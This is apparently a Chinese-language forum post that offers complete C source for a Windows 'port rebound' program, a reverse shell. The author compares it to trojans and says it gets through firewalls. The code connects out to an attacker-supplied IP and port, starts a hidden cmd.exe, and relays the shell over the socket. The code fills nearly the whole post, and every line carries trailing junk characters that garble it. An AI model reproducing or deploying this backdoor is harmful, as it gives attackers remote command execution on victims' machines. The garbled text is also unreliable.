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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 U+B"$yBR  
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/* ============================== ^$O(oE(D  
Rebound port in Windows NT __$;Z  
By wind,2006/7 D3dh,&KO\  
===============================*/ Bl6I@w  
#include s-Yu(X2  
#include <|Lz#iV37  
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#pragma comment(lib,"wsock32.lib") !9$}1_,is  
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void OutputShell(); HP[B%  
SOCKET sClient; {-me;ayk  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; @^YXE,  
cRr3!<EZ  
void main(int argc,char **argv) ;r"r1'a+@  
{ %gFIu.c  
WSADATA stWsaData; ((`{-y\K  
int nRet; e#h&Xa  
SOCKADDR_IN stSaiClient,stSaiServer; P (7el  
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if(argc != 3) qtZzJ>Y  
{ O*?^a7Z)4  
printf("Useage:\n\rRebound DestIP DestPort\n"); +,)k@OI  
return; sgK =eBE  
} &o t^+uVH  
We}9'X}  
WSAStartup(MAKEWORD(2,2),&stWsaData); i7h^L)M  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); p7`9 d1n  
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stSaiClient.sin_family = AF_INET; +<xQF  
stSaiClient.sin_port = htons(0); .@nfqv7{  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); JC~sz^>p\  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ]O:8o<0  
{ O ] !tK  
printf("Bind Socket Failed!\n"); $=E4pb4Y  
return; 2oahQ: }B  
} ,D`jlY-1l  
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stSaiServer.sin_family = AF_INET; x<!]#**;  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); lc5(^ ~  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); $X)|`$#pL#  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ?OnL,y|  
{ m)<+?Bv y  
printf("Connect Error!"); ~s'}_5;VY  
return; aDX&j2/  
} cyWb*Wv  
OutputShell(); ~x'8T!M{  
} b&h'>(  
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void OutputShell() [Fag\/Y+  
{  8(K:2  
char szBuff[1024]; ,R-k]^O  
SECURITY_ATTRIBUTES stSecurityAttributes; xu-bn  
OSVERSIONINFO stOsversionInfo; RE4#a 2  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; RF2I_4  
STARTUPINFO stStartupInfo; 7oIHp_Zq  
char *szShell; "u~` ZV(  
PROCESS_INFORMATION stProcessInformation; H*<E5^#dw  
unsigned long lBytesRead; ke W7pN?  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); O!dS;p-F  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); xh#_K@8  
stSecurityAttributes.lpSecurityDescriptor = 0; LHZsmUM(dg  
stSecurityAttributes.bInheritHandle = TRUE; sxF2ku4A  
9 $X" D  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Sb2_&5  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); T^7}Qs9  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); NkGtZ.!pk  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; >+i+_^]  
stStartupInfo.wShowWindow = SW_HIDE; Er@xrhH  
stStartupInfo.hStdInput = hReadPipe; Ei]Sks V>*  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; bg0ix"  
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GetVersionEx(&stOsversionInfo); rBL2A  
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switch(stOsversionInfo.dwPlatformId) M+ <SSi"  
{ ^5~x*=_  
case 1: FYC]^D  
szShell = "command.com"; q$v0sTk0Y  
break; snkMxc6c[  
default: s@%>  
szShell = "cmd.exe"; SbL7e#!!  
break; 4,QA {v  
} $/Q\B(X3  
dVLrA`'P*  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); mz<,nR\  
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send(sClient,szMsg,77,0); N|)e {|k  
while(1) 94 6r#`q  
{ e"sv_$*  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); #;8VBbc\^  
if(lBytesRead) >HwVP.~HN  
{ d<=!*#q;o  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); A\7sP =  
send(sClient,szBuff,lBytesRead,0); H[pvC=O=  
} NzhWGr_x'  
else 2'W# x  
{ q%A>q ;l:  
lBytesRead=recv(sClient,szBuff,1024,0); $1s>efP-  
if(lBytesRead<=0) break; tNZZCdB  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); =$^}"}$  
} 8VG~n?y  
} ~LF M,@  
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return; ^P [#YO  
}
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